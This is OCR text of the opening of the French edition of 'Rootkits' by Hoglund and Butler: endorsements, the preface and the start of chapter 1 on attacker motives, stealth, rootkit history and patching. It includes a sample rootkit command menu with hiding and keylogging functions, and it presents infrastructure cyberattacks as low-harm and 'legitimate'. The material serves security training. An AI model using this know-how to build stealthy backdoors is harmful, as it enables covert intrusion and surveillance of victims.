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A propos de Rootkits 


"Quiconque travaillant dans le domaine de la securite informatique doit 
imperativement lire ce livre pour comprendre la menace croissante que 
constituent les rootkits. " 

- Mark Russinovich, editeur, Windows IT Pro et Windows & .NETMagazine 


"Le contenu de ce livre n ’est pas settlement d ’actualite, il definit ce qu 
’actuel veut dire. II est veritablement a la pointe de la technologie. Seul 
ouvrage sur le sujet, Rootkits interessera tous les chercheurs ou 
programmeurs en securite Windows. II est detaille, bien documente, et 
les informations techniques qu’il propose sont d’excellente qualite. Le 
niveau des details techniques, la somme des recherches et le temps 
invest i dans l 'elaboration d’exemples pertinents sont tout simplement 
impressionnants. En un mot : remarquable ! " 

- Tony Bautts, consultant en securite et directeur general de Xtivix, Inc 


"Ce livre est incontoumable pour toute personne responsable de la 
securite sous Windows. Les professionnels de la securite, les 
administrateurs de systemes Windows et les programmeurs en general se 
doivent de comprendre les techniques mises en oeuvre par les auteurs de 
rootkits. Alors que de nombreux professionnels de l ’informatique et de la 
securite s ’inquietent de l ’apparition de nouveaux virus de messagerie ou 
sont occupes a installer les demiers correctifs de securite en date, 
Hoglund et Butler 
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ouvrent les yeux sur certaines des menaces les plus furtives et 
preoccupantes auxquelles les systemes Windows sont exposes. Ce n ’est 
qu ’en comprenant ces techniques offensives que vous pourrez 
correctement defendre les reseaux et les systemes dont vous avez la 
charge. " 

- Jennifer Kolde, consultante en securite, auteur et formatrice 


"Qu V a-t-il de pire que d ’etre aux mains d ’autrui ? Ne pas le savoir. 

Decouvrez ce que signifie etre possede par un inconnu en lisant 
l ’ouvrage de Hoglund et Butler sur les rootkits, le premier du genre. An 
top de la liste d’outils du hacker — laquelle inclut entre autres des 
decompilateurs, des desassembleurs, des moteurs d ’injection d’erreurs, 
des debuggers de noyau, des ensembles de codes malveillants, des outils 
de test de code et des outils d ’analyse de flux — se trouve le rootkit. En 
reprenant Id ou Exploiting Software s’etait arrete, le present livre 
montre comment des attaquants peuvent se dissimuler sous vos yeux. 

Les rootkits representent une nouvelle vague de techniques d’attaque 
extremement puissantes. A Einstar d 'autres codes malveillants, ils se 
caracterisent par leur furtivite. Ils restent indecelables pour /’ 
obseivateur moyen et recourent a des methodes diverses, telles que des 
hooks, des trampolines ou des patchs pour mener a bien leur mission. 
Les rootkits sophistiques s ’executant de telle maniere qu’ils peuvent 
echapper a la detection des programmes de surveillance du systeme. Un 
rootkit ojfre un acces privilegie uniquement aux personnes qui savent qu 
’il est present sur le systeme et est pret a recevoir des commandes. Les 
rootkits de niveau noyau peuvent dissimuler des fichiers et executer des 
processus pour installer une porte derobee sur la machine cible. 

Pour ceux d’ entre nous qui teutons de proteger des systemes 
informatiques, il est decisif de comprendre l ’outil supreme des 
attaquants. Hoglund et Butler sont les mieux places pour nous amener a 
une comprehension pratique des rootkits et de leurs mecanismes 
fondamentaux. " 

- Gary MacGraw, Ph.D., directeur technique, Cigital, 
coauteur de Exploiting Software (2004) et de Building 
Secure Software (2002), Addison-Wesley 
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"Greg et Jamie sont les deux experts indiscutables de l' infiltration des 
API Windows et de la creation de rootkits. Ils levent le voile sur le 
mystere des rootkits en nous faisant partager des informations qui n 
’avaient encore jamais ete divulguees jusque-la. Quiconque s ’interesse a 
la securite des systemes Windows, meme de loin, devrait considerer la 
lecture de ce livre comme une priorite. " 

Harlan Carvey, auteur de Windows 
Forensics et Incident Recovery (Addison- 
Wesley, 2005) 


Ce livre est dedie a toutes les personnes qui ont apporte leur 
contribution a rootkit.com ainsi qu ’a cedes qui n ’hesitent pas a partager 
leurs connaissances. 

-Greg 


A mes parents, Jim et Linda, pour ces nombreuses annees de devouement. 

- Jamie 




Preface 


Un rootkit est un ensemble de programmes et de code permettant 
d ’etablir une presence permanente et indetectable sur un ordinateur. 


Historique 

Greg Hoglund et moi-meme, James Butler, en sommes venus a nous interesser aux 
rootkits dans le cadre de notre activite professionnelle, qui a trait a la securite 
informatique. Mais 1’ approfondissement du sujet s’ est vite transforme en une mission 
personnelle pour tous les deux (signifiant des veillees tardives et des week-ends 
studieux). Cela a conduit Hoglund a fonder rootkit.com, un forum consacre a la retro- 
ingenierie et au developpement de rootkits. Nous sommes tous les deux grandement 
impliques dans ce forum. C’est moi qui ai contacte en premier Hoglund via ce site car 
j’avais besoin de tester un nouveau rootkit puissant de ma creation, FU 1 2 . Je lui ai done 
envoye une partie du code source et un fichier binaire precompile. Involontairement, 
cependant, j’avais ornis de lui transmettre le code source du driver. Hoglund a 
simplement charge le rootkit precompile sur sa station de travail sans me poser de 
question puis m’a signale a ma grande surprise que FU semblait fonctionner 
parfaitement. Notre confiance mutuelle n’a cesse de grandir depuis 1 2 . 

Nous sommes tous les deux depuis longtemps motives par un besoin presque 
obsessionnel de dissequer le noyau Windows par retro-ingenierie. C’est un peu comme 
lorsque quelqu’un affirme qu’une certaine chose est impossible a faire et que vous 
vous efforcez d’y parvenir. II est tres satisfaisant d’apprendre le fonctionnement des 
pretendus produits de securite pour trouver des moyens de les contoumer, ce qui mene 
inevitablement au developpement de meilleurs mecanismes de protection. 


1. Je ne m’interessais pas aux rootkits a des fins malveillantes et etais plutot fascine par la puissance des 

modifications de niveau noyau, ce qui m’a amene a developper le premier programme de detection de 
rootkits, VICE. 

2. Hoglund se demande d’ailleurs encore de temps a autre si la version originale de FU s’execute toujours sur sa 
machine. 
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Le fait qu’un produit declare assurer un certain niveau de securite ne signifie pas 
necessairement que ce soit le cas. En jouant le role de l’attaquant, nous avons un 
avantage considerable. II nous suffit de penser a une seule chose que le defenseur 
aurait pu oublier de considered Le defenseur doit, lui, penser a toutes les choses qu’un 
attaquant pourrait faire. 

II y a quelques annees de cela, nous avons decide de faire equipe pour proposer des 
cours de formation sur les aspects offensifs de la technologie des rootkits. Au depart, 
le contenu dont nous disposions nous permettait d’assurer une formation d’une seule 
joumee. Mais, avec le temps, nous avons compile des centaines de pages de notes et 
d’exemples de code qui constituent les fondements de ce livre. Nous dispensons a 
present cette formation plusieurs fois par an a 1’ occasion de la conference de securite 
Black Hat et aussi de maniere privee. 

Par la suite, nous avons egalement entrepris de collaborer au sein de la societe 
HBGary, Inc, ou nous sommes confrontes quotidiennement a des problemes de rootkit 
tres complexes. Dans ce livre, nous nous fondons sur notre experience pour couvrir les 
menaces auxquelles sont exposes les utilisateurs de Windows aujourd’hui et qui ne 
feront probablement qu’augmenter dans le futur. 

Lectorat du livre 

Ce livre se destine a ceux qui s’ interessent a la securite informatique et qui souhaitent 
obtenir une perspective plus reelle des menaces qui existent. De nombreux ouvrages et 
autres documents expliquent comment les intrus s’y prennent pour penetrer dans des 
systemes informatiques, mais peu a ete dit sur ce qu’ils peuvent y faire ensuite. Le 
present livre aborde notamment les methodes par lesquelles un intrus parvient a 
dissimuler son activite sur une machine compromise. 

Nous pensons que la plupart des editeurs de logiciels, y compris Microsoft, ne 
prennent pas les rootkits au serieux, c’est pourquoi nous publions ce livre. Son contenu 
n’a rien de revolutionnaire pour ceux qui travaillent deja avec des rootkits ou des 
systemes d’ exploitation depuis de nombreuses annees. Mais il prouvera a tous les 
autres que les rootkits represented un risque reel pour la securite et qu’un scanner de 
virus ou un pare-feu d’hote ne suffit pas pour s’en proteger. II demontre qu’un rootkit 
peut s’infiltrer dans un ordinateur et y demeurer des annees sans que personne ne 
remarque rien. 
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La transmission efficace d’informations sur les rootkits demandait d’ecrire la plus 
grande partie du livre du point de vue de l’attaquant, mais nous terminons neanmoins 
par une perspective defensive. A mesure que vous decouvrirez les objectifs et 
techniques de vos agresseurs potentiels, vous en apprendrez plus sur les faiblesses de 
votre systeme et la fagon de les pallier. La lecture de ce livre vous aidera a ameliorer la 
securite de votre systeme et a prendre des decisions plus informees en matiere d’ achat 
de logiciels de protection. 

Prerequis 

Tout le code contenu dans ce livre a ete ecrit en C. Vous serez done plus a meme de 
saisir et d’ exploiter les exemples proposes si vous comprenez au moins les principes 
de base de ce langage, celui de pointeur etant le plus important. Si vous ne disposez 
d’aucune connaissance en programmation, vous devriez quand meme pouvoir suivre la 
logique des exemples et comprendre les menaces evoquees meme si les details precis 
de leur implementation vous echappent. Certaines sections font appel a des concepts 
propres a 1’ architecture des drivers pour Windows, mais aucune experience en matiere 
de developpement de drivers n’est requise. Nous vous guiderons dans Telaboration 
d’un driver pour Windows et poursuivrons a partir de la avec la technologie des 
rootkits. 

Portee du livre 

Ce livre couvre les rootkits pour Windows, bien que la plupart des concepts exposes 
s’appliquent egalement a d’autres systemes d’ exploitation tels que Linux. Nous nous 
concentrons sur les rootkits de niveau noyau car ce sont les plus difficiles a detecter. 
Nombre de rootkits publics pour Windows operent dans le mode utilisateur 1 car ce 
genre de rootkit est plus facile a implementer puisqu’il ne demande pas de maitriser le 
fonctionnement du noyau non documents. 

Nous avons choisi d’ignorer les specificites de rootkits particuliers pour nous attarder 
sur les approches generates raises en oeuvre par tous les rootkits. Dans chaque chapitre, 
nous introduisons une technique de base, expliquons son utilite et montrons comment 
l’implementer a l’aide d’exemples de code. Fort de ces informations, vous devriez 
pouvoir etendre ces exemples de mille famous differentes 


1 . C’est-a-dire qu’ils n’impliquent pas de modifications du noyau et s’appuient a la place sur la modification de 
programmes utilisateur. 
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pour accomplir toutes sortes de taches. Lorsque vous travaillez au niveau du noyau, 
vous n’etes limite que par votre imagination. 

La majorite du code foumi dans ce livre est telechargeable sur www.rootkit.com . Pour 
chaque exemple, PURL precise est indiquee. D’autres auteurs de rootkits publient 
egalement les resultats de leurs recherches sur ce site, et vous trouverez certainement 
utile de les consulter pour vous tenir au courant des demieres decouvertes. 


Remerciements 


Nous n’aurions pas pu ecrire ce livre sans l’aide des nombreuses personnes qui nous 
ont aide a parfaire notre comprehension de la securite informatique au fil des annees. 
Nous tenons a remercier en premier lieu nos collegues et la comnrunaute d’utilisateurs 
de rootkit.com. Un grand merci egalement a tous les etudiants qui ont suivi notre 
formation sur les aspects offensifs de la technologie des rootkits. A chaque fois que 
nous enseignons, nous apprenons quelque chose de nouveau. 

Les personnes suivantes nous ont fait partager leurs commentaires eclaires lors des 
premieres epreuves du livre : Tony Bautts, Richard Bejtlich, Harlan Carvey, Graham 
Clark, Greg Cummings, Jeremy Epstein, Jennifer Kolde, Marcus Leech, Gary 
McGraw et Sherri Sparks. Nous sommes aussi tres reconnaissants a Audrey Doyle, qui 
a grandenrent contribue a 1’ elaboration du livre dans des conditions de planification 
tres serrees. 

Enfin, nous exprimons notre gratitude envers notre editeur, Karen Gettman, et son 
assistante, Ebony Haight, chez Addison-Wesley, pour s’etre si bien adaptees a nos 
agendas surcharges ainsi qu’aux grandes distances qui nous separent et pour avoir su 
nraintenir notre attention sur l’ouvrage. Elies nous ont apporte tout ce dont nous avions 
besoin pour reussir a T ecrire. 


- Greg et Jamie. 
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A propos de l’illustration 

en couverture 


L’illustration en couverture du livre possede une signification importante pour Jamie et 
moi. Nous l’avons con?ue nous-memes avec l’aide d’un artiste bresilien tres talentueux 
qui se nomme Paulo. Le personnage illustre est un samourai, une figure japonaise 
historique (notre approche creative ne doit en aucun cas etre consideree comme une 
marque d’irrespect). Nous avons choisi ce guerrier car il incame la magnificence de 
son art et sa maitrise, la force de caractere et le fait que cet art etait essentiel pour sa 
culture et ses maitres. Ce motif souligne aussi 1’ importance de reconnaitre 
Linterconnectivite du monde dans lequel nous vivons. 

Le sabre est l’outil du samourai, le moyen d’ expression de son talent. Vous 
remarquerez qu’il apparait au centre de 1’image et est enfonce dans le sol. De lui 
partent des racines qui symbolisent la dynamique de f acquisition de la connaissance. 
Ces racines deviennent des circuits pour representer la connaissance des technologies 
informatiques et les outils du developpeur de rootkits. Les ideogrammes, ou kanji, qui 
figurent derriere lui signifient "acquerir le savoir". 

Nous pensons qu’il s’agit d’une description juste de notre travail. Jamie et moi 
apprenons continuellement et actualisons nos competences. Nous sommes heureux de 
pouvoir communiquer a d’autres ce que nous avons appris. Nous voulons vous 
sensibiliser a l’incroyable pouvoir qui reside dans le developpement de racines. 

Greg Hoglund 
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Ne laisser aucune trace 


Subtil et immateriel, l ’expert ne laisse pas de trace ; mysterieux comme 
tine divinite, il est inaudible. C’est ainsi qu ’il met l ’ennemi a sa merci. 

- Sun Tzu 


De nombreux ouvrages ont deja traite du detoumement de systemes informatiques et 
de logiciels, de P execution de scripts d’attaque, de la programmation d’exploits de 
debordement de tampon ou de la creation de shellcode (code permettant de lancer un 
interpreter de commandes), tels que Exploiting SoftwareThe Schellcoder’s Handbook 1 2 
2 et Hacking Exposed 3 . 

Ce livre est different. Plutot que parler des attaques elles-memes, il montre comment 
les attaquants restent "presents" sur un systeme a pres s’y etre introduits. Peu de livres 
expliquent ce qui peut se passer apres une intrusion reussie, a l’exception des ouvrages 
sur 1’ investigation forensique informatique (ou inforensique). Tandis que ces demiers 
ont une approche defensive - comment detecter l’attaquant et dissequer par retro- 
ingenierie le code malveillant nous avons choisi pour ce livre une approche offensive 
en exposant la fa£on dont un attaquant demeure sur un 


1 . G. Hoglund et G. McGraw, Exploiting Software: How to Break Code (Boston : Addison-Wesley, 2004). Voir 
aussi www.exploitin itsoftware.com . 

2. J. Koziol, D. Litchfield, D. Aitel, C. Anley, S. Eren, N. Mehta et R. Hassell, The Shellcoder 's Handbook 
(New York : John Wiley & Sons, 2004). 

3. S. McClure, J. Scambray et G. Kurtz, Hacking Exposed (New York : McGraw-Hill, 2003). 
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systeme sans etre detecte, ce dernier point etant essentiel pour le succes de son 
operation sur le long terme. 

Ce chapitre presente la technologie et les principes generaux de fonctionnement d’un 
rootkit. C’est un element parmi les nombreux outils de la panoplie d’un attaquant, mais 
il est decisif pour la reussite de nombreux types d’attaques. 

Le code d’un rootkit n’est pas intrinsequement malveillant, mais il peut etre employe 
par des programmes qui le sont. Il est important de comprendre cette technologie pour 
etre en mesure de se defendre contre les attaques modemes et avancees. 

Comprendre les motifs de votre agresseur 

Une porte derobee, ou backdoor, dans un ordinateur permet a un attaquant de revenir. 
Elle a ete a l’honneur dans de nombreux films de Hollywood, sous la forme d’un mot 
de passe ou autre moyen secret permettant d’acceder a un systeme informatique 
hautement securise. Cette technique ne se limite toutefois pas au cinema et figure 
egalement dans des scenarios bien reels ou elle sert a diverses activites clandestines, 
telles que le vol de donnees, la surveillance des utilisateurs ou la penetration profonde 
au sein de reseaux informatiques. 

Un attaquant laisse une porte derobee pour diverses raisons. La premiere est qu’il est 
difficile de s’introduire sur un systeme informatique. Aussi, une fois qu’il y parvient, il 
cherchera a y conserver un pied. A partir du systeme compromis, il pourra, par 
exemple, lancer d’autres attaques. 

Un autre motif majeur est la collecte d’ informations. L’attaquant peut enregistrer la 
frappe au clavier, surveiller le comportement de l’utilisateur au fil du temps, 
intercepter des paquets sur le reseau et exfiltrer 1 des donnees. Toutes ces activites 
requierent de laisser une porte derobee, un programme actif qui assurera la collecte des 
informations. 

Une intrusion peut aussi avoir pour but la destruction d’un systeme, auquel cas 
l’attaquant laissera une bombe logique prevue pour agir au moment voulu. Dans cette 
situation, meme si l’attaquant ne requiert pas de revenir sur le systeme, le programme 
devra, comrne dans le cas d’une porte derobee, rester indetectable. 


1 . Exfiltrer : transporter une copie de donnees d'un emplacement vers un autre. 
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Un programme furtif 

Pour passer inapctyu, un programme backdoor doit avoir pour caracteristique d’etre 
furtif {stealth), c’est-a-dire ne pas etre detectable. Sur ce point, la plupart des 
programmes disponibles ne brillent pas et sont sources d’aleas. La raison principale a 
cela est que les developpeurs cherchent a integrer toutes sortes de fonctionnalites dans 
un programme backdoor fourre-tout. Par exemple, prenez les programmes Back 
Orifice ou NetBus. Ils arborent tous deux une liste impressionnante de fonctionnalites, 
certaines aussi ridicules que rejection du plateau du lecteur de CD- ROM. Cela peut 
etre drole comrne blague de bureau, mais c’est totalement inadequat dans le cadre 
d’une operation professionnelle 1 2 . Si l’attaquant n’est pas prudent, il revelera sa 
presence sur le reseau et toute P operation echouera. Pour cette raison, une telle action 
necessite l’emploi de programmes de backdoor automatises qui ne servent qu’a une 
chose et a rien d’ autre, garantissant des resultats coherents. 

Si les operateurs d’un systeme ou d’un reseau soupqonnent une intrusion, ils peuvent 
recourir a une investigation forensique pour rechercher un programme backdoor ou 
ayant une activite inhabituelle 1 2 . La meilleure protection contre ce genre d’inspection 
est la furtivite : passer inapetyu pour ne pas declencher de recherches. II existe a cette 
fin diverses facjons de proceder. Un attaquant peut essayer d’etre discret en maintenant 
le trafic reseau qu’il engendre a un niveau minimal et en ne sauvegardant pas ses 
fichiers sur le disque dur. Certains attaquants stockent leurs fichiers sur le disque mais 
utilisent des techniques de dissimulation. Si la furtivite d’une attaque est bien geree, il 
n’y aura pas d’ investigation car l’intrusion ne sera pas detectee. Et, meme en cas de 
suspicion d’une attaque, une furtivite bien preservee pemiettra aux fichiers dissimules 
d’ echapper a la detection. 


1 . "Professionnelle" signifie ici une operation autorisee, par exemple dans le cadre de l’exercice de la loi ou de 
l’execution de tests de penetration. 

2. Pour un document interessant sur l'analyse forensique, consultez D. Farmer et W. Venema, Forensic 
Discovery (Boston : Addision-Wesley, 2004). 
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Quand la furtivite est secondaire 

Parfois, une attaque n’a pas besoin d’etre furtive. Par exemple, un intrus souhaitant 
rester sur un systeme juste le temps de subtiliser des donnees, comme un spool d’e- 
mail, n’aurait pas forcement besoin de se soucier que son attaque soit detectee a 
posteriori. 

Une autre situation ou la furtivite n’est pas necessairement utile est lors d’attaques 
visant le plantage d’un systeme, par exemple si l’ordinateur vise controle un systeme 
antiaerien. Dans ce cas, la discretion n’est pas un souci majeur, seule la finalite de 
Paction importe. Dans ce type de situation, l’attaque est souvent flagrante (et 
perturbante pour la victime). Si vous souhaitez en apprendre davantage sur ce type 
d’ operation, ce livre ne vous sera d’aucune aide. 

Maintenant que vous avez une comprehension de base des motifs d’un attaquant, nous 
pouvons passer a 1’ etude des principes de fonctionnement generaux d’un rootkit. 
Ouvrons tout d’abord une parenthese le temps d’un bref historique. 


Qu'est-ce qu'un rootkit 

Le terme rootkit existe deja depuis plus de dix ans. II designe un kit de petits 
programmes qui permettent a un attaquant de maintenir un acces de niveau "root" (ou 
administrateur) sur un systeme, c’est-a-dire de l’utilisateur le plus puissant sur un 
ordinateur. En d’autres termes, c ’est un ensemble de programmes et de code qui 
octroient a son utilisateur une presence permanente ou coherente et indetectable sur 
un ordinateur. 

Dans cette definition, le terme cle est "indetectable". La plupart des techniques et 
astuces employees par un rootkit visent a dissimuler du code et des donnees sur un 
systeme. Ainsi, beaucoup de rootkits peuvent masquer des fichiers et des repertoires. 
D’autres fonctionnalites concement l’acces a distance et 1’ interception, par exemple 
pour capturer des paquets du reseau. Lorsque ces differentes fonctions sont combinees, 
elles delivrent un knock-out a la securite. 

Un rootkit n’est pas necessairement du code malveillant, et il n’est pas non plus 
toujours utilise pour des actes illicites. II est important de comprendre qu’il s’agit 
d’une technologie. II existe aussi beaucoup de programmes commerciaux legitimes qui 
offrent a leurs utilisateurs la possibility d’administrer un systeme a distance et meme 
de pratiquer la surveillance logicielle. Certains de ces programmes 
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sont meme furtifs. A bien des egards, ils pourraient egalement etre consideres comme 
etant des rootkits. Dans le cadre d’une operation legale, le terme "rootkit" pourrait 
aussi etre utilise pour designer le programme backdoor autorise — alors installe sur 
une cible dans le cadre de l’exercice de la loi. Nous aborderons ce sujet plus loin dans 
ce chapitre. De grandes entreprises emploient egalement cette technologie pour 
surveiller et faire respecter les reglementations regissant 1’ usage des ordinateurs. 

Grace a une demarche offensive, nous vous ferons decouvrir les competences et 
techniques raises en oeuvre par votre ennemi. Vous etendrez en meme temps vos 
propres connaissances en cherchant a vous proteger contre la menace du rootkit. Si 
vous etes un developpeur legitime utilisant cette technologie, ce livre vous aidera a 
acquerir une base de connaissances et de competences que vous pourrez ensuite 
developper. 


Raison d'etre des rootkits 

Les rootkits sont une invention recente, mais l’espionnage est un art ancien, aussi 
vieux que la guerre. Ils existent pour les memes raisons que les microphones espions 
existent : certaines personnes souhaitent voir ou controler ce que d’autres font. Avec la 
dependance accrue de nos societes par rapport aux informations, les ordinateurs sont 
devenus des cibles naturelles. 

Un rootkit n’est utile que dans une situation ou une voie d’acces au systeme touche 
doit etre maintenue. Lorsqu’un attaquant souhaite simplement s’emparer de donnees et 
partir, il n’a aucune raison de vouloir laisser un rootkit qui l’exposerait de plus au 
risque d’etre detecte. En se contentant de subtiliser des donnees et de nettoyer les 
traces de son passage, son action passera inapctyuc. 

Un rootkit foumit deux fonctions principals : le controle a distance et l’ecoute, ou 
interception, logicielle. 


Controle a distance 

Le controle a distance comprend diverses actions, telles que controler des fichiers, 
provoquer le redemarrage du systeme ou son plantage avec apparition de l’ecran bleu 
(Blue Screen ofDeath), acceder a l’interpreteur de commandes (par exemple 
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cmd.exe ou /bin/sh). La Figure 1 . 1 illustre un exemple de menu de commandes d’un 
rootkit. 


Figure 1.1 

Exemple de menu 
de commandes 
d'un rootkit de noyau. 


Win2K Rootkit by 
Version 0.4 
alpha 

the team rootkit.com 

command 

description 

PS 

show process list 

help 

this data 

buffertest 

debug output 

hidedir 

hide prefixed file or directory 

hideproc 

hide prefixed processes 

debugint 

(BSOD)fire int3 

sniff keys 

toggle keyboard sniffer 

echo <string> 

echo the given string 

*"(BSOD)" means 

Blue Screen of Death 

if a kernel debugger is not present! 

* u pref ixed“ means the process or filename 

starts with the letters UrootU . 

♦"sniffer" means 

listening or monitoring software. 


Interception logicielle 

L’ecoute, ou interception, logicielle fait partie de l’activite de surveillance des 
utilisateurs. Elle peut comprendre la capture de paquets du reseau, l’enregistrement de 
la frappe au clavier et la lecture des e-mails. Un attaquant peut utiliser ces techniques 
pour subtiliser des mots de passe ou meme des cles de chiffrement. 


Guerre electronique 

Les rootkits trouvent leur emploi dans la guerre electronique, mais ils n'en sont pas la 
premiere incarnation. 

Des guerres sont engagees sur de nombreux fronts, et celle de I'intelligence economique n'est 
pas des moindres. Depuis la fin de la Deuxieme Guerre mondiale jusqu'a la fin de la guerre 
froide, I'Union sovietique avait organise une operation de collecte de renseignements a 
grande echelle pour s'emparer de technologies 1 . 


1. G. Weiss, "The Farewell Dossier" (Washington : CIA, Centre d’etude des informations, 1996), disponible sur 

www.cia.gov/csi/studies/96unclass/farewell.htm . 
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Apres avoir ete renseigne par la France et avoir identifie certaines des activities clandestines 
sur leur sol, les Etats-Unis ont introduit des plans, des logiciels et des renseignements 
fallacieux dans le canal d'acheminement. Un incident rapporte indique que des modifications 
logicielles (les "ingredients supplementaires" prevus par la CIA) auraient ete a I'origine de 
I'explosion d'un pipeline de gaz en Siberie 1 . L'incident alors photographie par des satellites 
avait ete decrit comme etant "I'explosion non nucleaire et I'incendie les plus gigantesques 
jamais enregistres depuis I'espace"* 2 . 


Emplois legitimes des rootkits 

Comme deja introduit plus haut, les rootkits peuvent etre utilises a des fins legitimes. 
Par exenrple, ils peuvent servir a collecter des preuves lors d’operations d’ interception 
avancees rnises en oeuvre dans le cadre de l’exercice de la loi. Ceci serait applicable 
dans n’inrporte quel crime inrpliquant P usage d’un ordinateur, tel que 1’ intrusion sur 
des systemes informatiques, la creation ou la distribution de contenus illicites (par 
exemple des photographies pedophiles), le piratage de produits proteges (tels des 
logiciels, de la musique, etc.) ou toute violation de la DMCA 3 . 

Les rootkits peuvent egalement etre utilises lors de conflits entre nations. Les pays et 
leurs arnrees s’appuient fortenrent sur leurs systemes informatiques. Si ces ordinateurs 
etaient defaillants, leurs cycles de decision et leurs operations s’en trouveraient 
affectes. Une attaque au nroyen d’un ordinateur, par opposition a une attaque 
conventionnelle, presente de nombreux avantages : couts inferieurs, vies humaines 
epargnees, peu de dommages collateraux, et, dans la plupart des cas, les dommages ne 
sont pas permanents. Par exemple, si un pays bombarde des sites de ressources 
energetiques, la reconstruction des installations necessitera des investissements 
colossaux. Si un ver logiciel infecte le reseau de controle de la distribution energetique 
et le desactive, le pays touche perd l’usage des ressources nrais les dommages ne sont 
ni permanents ni demesurement couteux. 


L. L’explosion aurait ete provoquee par une sorte de compromission logic ielle. 

2. D. Hoffman, "Cold War hotted up when sabotaged Soviet pipeline went off with a bang", Sydney Morning 
Herald . 28 fevrier 2004. 

3. Le Digital Millenium Copyright Act de 1998, PL 105-304, 17 USC § 101 et seq. 



18 Rootkits 


Infiltrations du noyau Windows 


Un bref historique 

Les rootkits ne sont pas un concept recent. En fait, nombre des techniques qu’ils 
utilisent s’ apparentent a celles qui etaient implementees dans les virus vers la fin des 
annees 1980, par exemple modifier les tables systeme, les donnees en me moire ou le 
flux d’ execution ; le but etait alors d’eviter la detection par les scanners de vims (a 
cette epoque, 1’ infection se faisait principalement par T intermediate de disquettes et 
des serveurs BBS). 

Lors de l’introduction de Windows NT, le modele de memoire a change pour que les 
programmes utilisateur ne puissent plus modifier les tables systeme. II s’ensuivit alors 
une periode d’accalmie en matiere de technologie de virus car aucun auteur n’utilisait 
le nouveau noyau Windows. 

Lorsqu’il a commence a prendre de l’ampleur, le reseau Internet etait dornine par les 
systemes d’ exploitation Unix et les virus n’ etaient pas aussi repandus. C’est toutefois a 
cette epoque que sont apparus les premiers vers de reseau. Apres T incident du ver 
Morris, la communaute informatique prit conscience de 1’ existence des exploitations 
de failles logicielles 1 , appelees "exploits" — Ndt : le terme "exploit", tel qu ’ll est 
utilise dans ce contexte, se rapporte aussi bien a une vulnerability qu ’ait code 
permettant de l ’exploiter. Au debut des annees 1990, beaucoup de hackers ont compris 
comment tirer parti des debordements de tampon, la "bombe nucleate" de tous les 
exploits. En revanche, les auteurs de vims ont continue a rester calmes pendant pres 
d’une decettie. 

A cette epoque, un hacker penetrait un systeme, installait son camp puis s’en servait 
pour initier d’autres attaques. Apres T intrusion, il devait conserver un acces au 
systeme. C’est ainsi que naquirent les premiers rootkits. II s’agissait alors de simples 
programmes backdoor qui n’utilisaient que peu d’ ingredients pour la furtivite. Ils 
operaient parfois en rcmplagant les fichiers systeme cles par des versions alterees qui 
permettaient le masquage de fichiers et de processus. Par exemple, considerez le 
programme Is qui liste les fichiers et les repertoires. Un rootkit de premiere generation 
Taurait remplace par une version troyenne qui aurait pemiis de dissimuler un fichier 
cree avec un certain nom, comme hack x. Ensuite, l’attaquant aurait stocke ses 
donnees suspectes dans ce fichier et le programme Is modifie aurait evite qu’il 
apparaisse lors d’un listage. 


1 . Robert Morris a ete l’auteur du premier ver Internet recense. Pour un compte rendu de l’evenement, consultez 
K. Hafner et J. Markoff. Cyberpunk: Outlaws and Hackers on the Computer Frontier (New York : Simon a 
Schuster, 1991). 
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La contre-attaque de la part des administrateurs systeme a ete alors d’ecrire des 
programmes tels que Tripwire (www.tripwire.org) qui pouvaient reveler si des fichiers 
avaient subi des changements. En reprenant notre exemple precedent, Tripwire aurait 
pu examiner Is et detecter son alteration. 

La reponse naturelle des hackers a ete de penetrer le noyau. Les premiers rootkits de 
noyau ont ete developpes pour les machines Unix. A cette epoque, ils pouvaient 
compromettre n’importe quel utilitaire de protection. Ainsi, les troyens n’etaient plus 
necessaires et tout T aspect furtif devenait controlable en modifiant le noyau. Cette 
technique n’etait pas differente de cedes evoquees precedemment pour les virus a la fin 
des annees 1980. 

Fonctionnement d'un rootkit 

Les rootkits emploient un concept simple appele modification. En general, un logiciel 
est conqu pour prendre certaines decisions d’apres des donnees tres specifiques. Un 
rootkit identifie et modifie un logiciel pour qu’ il fasse des choix incorrects. 

II y a de nombreux endroits oil ce genre de modification peut etre accompli. Certains 
d’entre eux seront evoques dans les paragraphes qui suivent. 

Le patching 

Le code executable, appele aussi un (fichier) binaire, se compose d’une serie 
d’ instructions codees sous forme d’ octets de donnees. Ces octets se suivent selon un 
ordre specifique, et ils ont une signification pour Tordinateur. La logique d’un 
programme peut etre modifiee si Ton change certains des octets qui le composent. 
Cette technique est parfois appelee le patching. Un programme n’est pas intelligent, il 
fait exactement ce qu’on lui dit de faire et rien d’autre. C’est la raison pour laquelle la 
modification est un precede qui fonctionne bien. En fait, cela n’est pas vraiment 
difficile. Le patch d’ octets est l’une des principales techniques utilisees par les crackers 
pour contoumer les protections des logiciels ou pour tricher avec des jeux video et 
s’octroyer des avantages illimites. 

Les oeufs de Paques 

Les modifications de la logique d’un programme peuvent aussi etre "integrees". Un 
programmeur peut aj outer une porte derobee lors du developpement. Le code 
pemicieux ne fait alors pas partie de la conception documentee ou, dit autrement, il 
s’agit d’une fonctionnalite cachee. Il existe des modifications de logique integrees 
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inoffensives, connues sous le nom d’oeufs de Paques, par lesquelles 1’ auteur (ou 
l’equipement de developpement) du programme laisse quelque chose en guise de 
signature. Les premieres versions de Microsoft Excel, par exemple, contenaient un ceuf 
de Paques qui permettait a l’utilisateur qui le decouvrait de jouer a un jeu de tir en 3D, 
semblable a Doom 1 2 , a partir d’une feuille de calcul. 

Modification de type spyware 

Parfois, un programme en modifie un autre pour l’infecter avec un spyware, ou 
programme espion. Ce type de programme peut, par exemple, suivre la navigation de 
l’utilisateur sur le Web pour connaitre les sites qu’il visite. A l’instar des rootkits, ce 
sont des elements difficiles a detecter. Certains viennent se greffer dans le navigateur 
ou le shell, compliquant ainsi leur eradication. Ils creent aussi parfois de fagon sauvage 
des liens sur le bureau vers des sites commerciaux. Ce comportement incontrolable 

ennuie l’utilisateur et lui rappelle surtout que son navigateur n’est pas du tout securise 1 

2 

Modification du code source 

Des changements dans la logique d’un programme peuvent aussi etre apportes 
directement au niveau du code source. Un programmeur peut ainsi inserer des lignes de 
code malveillantes. C’est la raison pour laquelle certaines applications militaires 
evitent le recours a des logiciels developpes en open source, tels que Linux. Un projet 
congu de cette fagon autorise theoriquement n’importe qui a integrer des modifications 
au code source. Certes, dans le cas de programmes importants, tels que BIND, Apache 
ou Sendmail, un certain controle est realise par les collaborateurs au projet. Mais les 
reviseurs analysent-ils reellement le code ligne par ligne ? Si c’est le cas, ils semblent 
